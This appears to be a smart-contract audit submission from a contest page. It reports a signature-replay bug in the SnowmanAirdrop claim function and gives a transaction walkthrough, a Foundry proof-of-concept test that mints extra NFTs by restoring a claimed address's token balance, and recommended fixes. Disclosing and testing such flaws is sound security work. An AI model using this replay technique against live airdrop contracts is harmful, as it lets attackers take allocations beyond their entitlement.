claimSnowman never consults s_hasClaimedSnowman as a claim gate. After a successful claim, the only remaining checks are that the receiver still holds Snow (balance != 0) and that a Merkle leaf of keccak256(receiver, liveBalance) is in the tree. Snow is a vanilla ERC-20, so any holder can transfer 1 token back to an already-claimed whitelist address and restore the published (address, 1) leaf. The EIP-712 message has no nonce, so the original (v, r, s) still verifies. Replaying claimSnowman then pulls the restored Snow and mints another Snowman NFT.
claimSnowman (L76) only rejects a zero Snow balance. It then verifies an EIP-712 signature over getMessageHash(receiver) and a Merkle proof of hash(receiver, i_snow.balanceOf(receiver)). On success it transferFroms that entire live balance, writes s_hasClaimedSnowman[receiver] = true, and mints one Snowman.
The claimed-flag mapping is written at L94 but never read on the claim path. MESSAGE_TYPEHASH / getMessageHash bind only the receiver (no nonce, no deadline, no claim-id). Signature recovery at L102–108 only requires signer == receiver; msg.sender may be any gas payer. nonReentrant does not stop a second transaction.
Because the Merkle leaf is keyed off current balanceOf, and Snow has no transfer hook that would block restoring that balance, a post-claim ERC-20 transfer of exactly the merkle amount (sample leaves are 1) makes the same proof and the same signature valid again. Leftover allowance (or a re-approve) is enough for the second transferFrom.
Official Helper merkle root: 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a.
alice = 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6 (1 Snow)
bob = 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e (1 Snow)
AL_PROOF = [0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52, 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af, 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1]
alice max-approves the airdrop and signs getMessageHash(alice) = 0xade7201527deccec00a028e81e6b632f8258d3204971d43e7912ce0010068990
(v, r, s) = (27, 0xf1ff5334be964e5f9cd43a1924b3334775395b1e23ff8ab75887d46b854c7316, 0x2f8d9904af4ed8ae1ea494dbf4976297bf27fc1ccd2968c3bcf04e3de455c55e)
Tx1: gasPayer.claimSnowman(alice, AL_PROOF, v, r, s) — balance is 1, signature and leaf succeed, 1 Snow is pulled, flag set, NFT #0 minted. alice has 1 Snowman and 0 Snow; getClaimStatus(alice) == true.
Tx2: Warp past FARMING_DURATION. bob.transfer(alice, 1) restores Snow.balanceOf(alice) from 0 to 1 (no earnSnow/buySnow required).
Tx3: Skipped if max allowance remains.
Tx4: Replay the same claimSnowman(alice, AL_PROOF, v, r, s) calldata. L76 sees balance 1, the same digest and leaf pass, L92 pulls the restored Snow, L94 rewrites the unused flag, L98 mints NFT #1.
Result: claimsAfterReplay = 2, Snowman.balanceOf(alice) = 2, airdrop Snow inventory = 2. Foundry invariant assertLe(claims, 1) reverts with 2 > 1 (ReplayAfterTransfer.test_INV002_atMostOneClaim_afterErc20RestoreReplay).
Any Snow holder B can restore a claimed whitelist address A; any gas payer can resubmit A's public signature. A need not act again if allowance remains. Farming being closed is not required.
High. Each replay mints an extra Snowman NFT beyond the Merkle allocation, at the cost of 1 Snow transferred back to the claimed address. The same (receiver, amount) leaf and nonce-less signature can be reused whenever the live balance is restored, so extra NFTs are not capped at one. The claimed-flag is effectively dead code on the claim path. Confirmed exploitable on the official Helper tree with leftover max allowance.
Enforce a one-time claim: at the start of claimSnowman, require(!s_hasClaimedSnowman[receiver]) (or revert with a dedicated error) before signature/Merkle checks. Keep the existing write at L94.
Bind the signature to a nonce (or claim-id) and the merkle amount, not the live balanceOf. Include nonce (and ideally amount) in MESSAGE_TYPEHASH / getMessageHash, and increment the nonce on a successful claim so a broadcast (v, r, s) cannot be replayed.
Do not key the Merkle leaf off a restorable ERC-20 balance. Snapshot the allocated amount in the tree (or store it at first claim) so a later transfer cannot reconstruct a valid leaf.
Optionally clear allowance or pull a fixed allocated amount rather than the entire live balance, so a restored 1 Snow cannot be drained again as the claim payment.
diff --git a/test/ReplayAfterTransfer.t.sol b/test/ReplayAfterTransfer.t.sol
new file mode 100644
index 0000000..aa16ecb
--- /dev/null
+++ b/test/ReplayAfterTransfer.t.sol
@@ -0,0 +1,133 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.24;
+
+/**
* PoC: restorable-balance signature replay on SnowmanAirdrop.claimSnowman
*
* Setup (from repo root, commit 6efcb0f816ea6ffc5fcb1a66ea5af66d0022e80e):
* forge test --match-contract ReplayAfterTransfer -vvv
*
* Attacker model:
* - A is a merkle-whitelisted EOA that already claimed once and left a
* remaining/max Snow allowance for the airdrop (or can re-approve).
* - B is any Snow holder (here: another official whitelist address).
* - Gas payer is any outside user who already observed A's public (v,r,s).
* - Attackers control: B's ERC20.transfer of 1 Snow back to A, and
* resubmission of claimSnowman(A, official proof, same v,r,s).
* - A does not need to sign again. Farming being open/closed is irrelevant.
*
* Root cause:
* claimSnowman never reads s_hasClaimedSnowman. Post-claim gates only
* check Snow.balanceOf(receiver) != 0 and leaf = hash(receiver, liveBalance).
* MESSAGE_TYPEHASH has no nonce, so the already-broadcast EIP-712 digest
* over (A, 1) still verifies after any holder restores A's published leaf.
*
* Impact:
* Unlimited extra Snowman NFTs beyond the merkle allocation (1 Snow pulled
* from the restorer per extra mint).
*/
+
+import {Test, console2} from "forge-std/Test.sol";
+import {Snow} from "../src/Snow.sol";
+import {Snowman} from "../src/Snowman.sol";
+import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
+import {MockWETH} from "../src/mock/MockWETH.sol";
+import {Helper} from "../script/Helper.s.sol";
+
+contract ReplayAfterTransfer is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
+
// Official Helper merkle root from script/flakes/output.json
bytes32 public constant ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
+
// Official AL_PROOF for alice = 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, amount = 1
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
+
address alice;
uint256 alKey;
address bob;
address gasPayer;
+
uint8 v;
bytes32 r;
bytes32 s;
+
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
+
// Same labels Helper uses, so addresses match official merkle leaves.
(alice, alKey) = makeAddrAndKey("alice");
(bob,) = makeAddrAndKey("bob");
gasPayer = makeAddr("gas_payer");
+
assertEq(alice, 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, "alice leaf address");
assertEq(bob, 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, "bob leaf address");
assertEq(airdrop.getMerkleRoot(), ROOT);
assertEq(snow.balanceOf(alice), 1);
assertEq(snow.balanceOf(bob), 1);
+
// Tx0: leftover max allowance so A need not act on the replay.
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
+
bytes32 digest = airdrop.getMessageHash(alice);
(v, r, s) = vm.sign(alKey, digest);
}
+
function testINV002atMostOneClaim_afterErc20RestoreReplay() public {
// --- Tx1: first legitimate claim by any gas payer ---
vm.prank(gasPayer);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
+
uint256 claimsAfterFirst = nft.balanceOf(alice);
assertEq(claimsAfterFirst, 1, "first claim should mint one Snowman");
assertEq(nft.ownerOf(0), alice);
assertEq(snow.balanceOf(alice), 0, "first claim pulls Alice's 1 Snow");
assertTrue(airdrop.getClaimStatus(alice), "flag is written but never read");
assertEq(snow.balanceOf(address(airdrop)), 1);
+
console2.log("After Tx1: alice Snowman NFTs =", claimsAfterFirst);
console2.log("After Tx1: getClaimStatus(alice) =", airdrop.getClaimStatus(alice));
console2.log("After Tx1: alice Snow balance =", snow.balanceOf(alice));
+
// --- Tx2: any Snow holder restores the published (alice, 1) leaf ---
// Warp past FARMING_DURATION so this is clearly a vanilla ERC20 transfer,
// not earnSnow/buySnow. Farming closed is not required for the bug.
vm.warp(block.timestamp + 13 weeks);
vm.prank(bob);
snow.transfer(alice, 1);
assertEq(snow.balanceOf(alice), 1, "Bob restored Alice's published leaf amount");
+
console2.log("After Tx2: alice Snow balance restored to", snow.balanceOf(alice));
+
// --- Tx3: skipped --- leftover max allowance is still valid ---
assertEq(snow.allowance(alice, address(airdrop)), type(uint256).max);
+
// --- Tx4: replay the already-broadcast (v,r,s) + official AL_PROOF ---
vm.prank(gasPayer);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
+
uint256 claimsAfterReplay = nft.balanceOf(alice);
console2.log("After Tx4 (replay): alice Snowman NFTs =", claimsAfterReplay);
console2.log("After Tx4: airdrop Snow inventory =", snow.balanceOf(address(airdrop)));
console2.log("After Tx4: alice Snow balance =", snow.balanceOf(alice));
+
// IMPACT: second mint succeeded. The intended invariant is broken.
// Uncommenting the next line reverts with 2 > 1.
// assertLe(claimsAfterReplay, 1);
+
assertEq(claimsAfterReplay, 2, "replay minted a second Snowman NFT");
assertEq(nft.ownerOf(1), alice, "NFT #1 was minted to alice");
assertEq(snow.balanceOf(alice), 0, "replay pulled the restored Snow");
assertEq(snow.balanceOf(address(airdrop)), 2, "airdrop inventory grew by 1");
assertTrue(airdrop.getClaimStatus(alice));
}
+}
# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.